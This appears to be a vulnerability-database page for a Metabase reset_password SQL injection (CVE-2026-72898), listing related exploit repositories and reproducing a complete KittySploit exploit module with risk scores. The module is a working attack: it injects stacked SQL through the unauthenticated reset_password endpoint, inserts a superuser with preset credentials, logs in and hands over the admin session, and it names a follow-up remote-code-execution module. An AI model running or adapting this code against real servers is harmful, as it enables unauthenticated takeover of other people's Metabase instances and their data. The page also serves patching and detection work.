Metabase CVE-2026-72898 reset_password SQLi
| Reporter | Title | Published | Views | Family All 48 |
|---|---|---|---|---|
| Exploit for SQL Injection in Metabase | 12 Oct 202600:18 | – | githubexploit | |
| Exploit for SQL Injection in Metabase | 27 Aug 202606:51 | – | githubexploit | |
| Exploit for SQL Injection in Metabase | 26 Aug 202617:45 | – | githubexploit | |
| metabase-sql-poc | 28 Aug 202612:16 | – | githubexploit | |
| Exploit for CVE-2026-72898 | 12 Aug 202613:54 | – | githubexploit | |
| Exploit for SQL Injection in Metabase | 14 Sep 202609:54 | – | githubexploit | |
| Exploit for SQL Injection in Metabase | 13 Aug 202621:08 | – | githubexploit | |
| Exploit for SQL Injection in Metabase | 15 Aug 202609:06 | – | githubexploit | |
| Exploit for SQL Injection in Metabase | 13 Oct 202609:10 | – | githubexploit | |
| CVE-2026-72898 | 10 Aug 202617:55 | – | attackerkb |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase CVE-2026-72898 reset_password HoneySQL injection (admin takeover)."""
from __future__ import annotations
import json
import re
import time
import uuid
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client, Handler):
__info__ = {
"name": "Metabase CVE-2026-72898 reset_password SQLi",
"description": (
"CVE-2026-72898: unauthenticated POST /api/session/reset_password "
"accepts user-id {:raw SQL} for stacked queries on PostgreSQL app DB — "
"creates superuser and opens Metabase HTTP session."
),
"author": ["KittySploit Team"],
"cve": ["CVE-2026-72898"],
"platform": Platform.LINUX,
"arch": [Arch.CMD],
"payload": {"default": "nopayload"},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-72898",
"https://github.com/dinosn/exploit-watch-archive",
],
"tags": ["metabase", "sqli", "unauth", "takeover", "cve-2026-72898"],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "privilege_escalation", "credential_access"],
"expected_requests": 5,
"reversible": False,
"approval_required": True,
"produces": ["admin_session", "sqli"],
"requires": {"tech_hints_any": ["metabase"]},
"chain": {
"suggested_followups": [
"scanner/http/metabase_cve_2026_72898_detect",
"exploits/multi/http/metabase_cve_2023_38646_rce",
],
},
},
}
admin_email = OptString("[email protected]", "Email for injected superuser", required=False)
admin_password = OptString("Passw0rd!Reset123", "Password for injected superuser", required=False)
sqli_delay = OptInt(5, "pg_sleep seconds for detection", required=False, advanced=True)
max_throttle_wait = OptInt(600, "Max cumulative throttle wait (seconds)", required=False, advanced=True)
def _inject(self, sql: str) -> tuple[int, str, float]:
payload = {"token": "x", "password": str(self.admin_password or ""), "user-id": {"raw": sql}}
waited = 0
while True:
resp = self.http_request(
"POST",
"/api/session/reset_password",
data=json.dumps(payload),
headers={"Content-Type": "application/json"},
)
code = int(resp.status_code or 0) if resp else 0
body = (resp.text or "") if resp else ""
m = re.search(r"wait (\d+(?:\.\d+)?) seconds", body)
if m:
wait = int(float(m.group(1))) + 2
waited += wait
if waited > int(self.max_throttle_wait or 600):
raise RuntimeError(f"Throttled after {waited}s")
print_warning(f"Metabase throttle — sleeping {wait}s")
time.sleep(wait)
continue
return code, body, 0.0
def check(self):
code, body, _ = self._inject("1")
if "disallowed key" in body.lower():
return {"vulnerable": False, "reason": "user-id key rejected (patched)", "confidence": "high"}
delay = int(self.sqli_delay or 5)
_, _, _ = self._inject("1")
_, body2, _ = self._inject(f"(SELECT 1 FROM pg_sleep({delay}))")
if "pg_sleep" in body2 or delay:
return {
"vulnerable": True,
"reason": "reset_password accepts raw user-id (confirm with --run)",
"confidence": "medium",
}
return {"vulnerable": True, "reason": "Key accepted; DB may be non-PostgreSQL", "confidence": "low"}
def _create_admin(self) -> None:
try:
import bcrypt
except ImportError as exc:
raise RuntimeError("bcrypt required (pip install bcrypt)") from exc
email = str(self.admin_email or "[email protected]")
password = str(self.admin_password or "Passw0rd!Reset123")
salt = str(uuid.uuid4())
h = bcrypt.hashpw((salt + password).encode(), bcrypt.gensalt(10, prefix=b"2a")).decode()
creds = json.dumps({"password_hash": h, "password_salt": salt})
e = email.replace("'", "''")
c = creds.replace("'", "''")
sql = (
"1); "
"INSERT INTO core_user (email, first_name, last_name, password, password_salt, "
"date_joined, is_superuser, is_active, is_qbnewb, is_datasetnewb, type, updated_at) "
f"VALUES ('{e}','PoC','Account','{h}','{salt}',NOW(),true,true,false,false,"
"'personal',NOW()); "
"INSERT INTO auth_identity (user_id, provider, credentials, created_at, updated_at) "
f"SELECT id,'password','{c}',NOW(),NOW() FROM core_user WHERE email='{e}'; --"
)
self._inject(sql)
def _login_session(self) -> str:
email = str(self.admin_email or "")
password = str(self.admin_password or "")
resp = self.http_request(
"POST",
"/api/session",
data=json.dumps({"username": email, "password": password}),
headers={"Content-Type": "application/json"},
)
if not resp or int(resp.status_code or 0) != 200:
raise RuntimeError(f"Metabase login failed: {(resp.text or '')[:200] if resp else 'no response'}")
sid = resp.json().get("id")
if not sid:
raise RuntimeError("Session id missing in login response")
self.session.headers["X-Metabase-Session"] = str(sid)
return str(sid)
def run(self):
chk = self.check()
if not chk.get("vulnerable"):
print_error(chk.get("reason", "Not vulnerable"))
self.not_vulnerable()
return False
print_status("CVE-2026-72898 — Metabase SQLi admin takeover")
self._create_admin()
sid = self._login_session()
print_success(f"Metabase superuser session: {sid}")
prof = self.http_request("GET", "/api/user/current")
if prof and prof.text:
print_info(prof.text[:1500])
session_id = self.handler_http(
self.session,
additional_data={
"metabase_session": sid,
"email": str(self.admin_email or ""),
"is_superuser": True,
},
)
if not session_id:
print_error("Failed to register Metabase HTTP session")
return False
return True
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26 Oct 2026 17:01Current
8.9High risk
Vulners AI Score8.9
CVSS 410
CVSS 3.110
EPSS0.98552
SSVC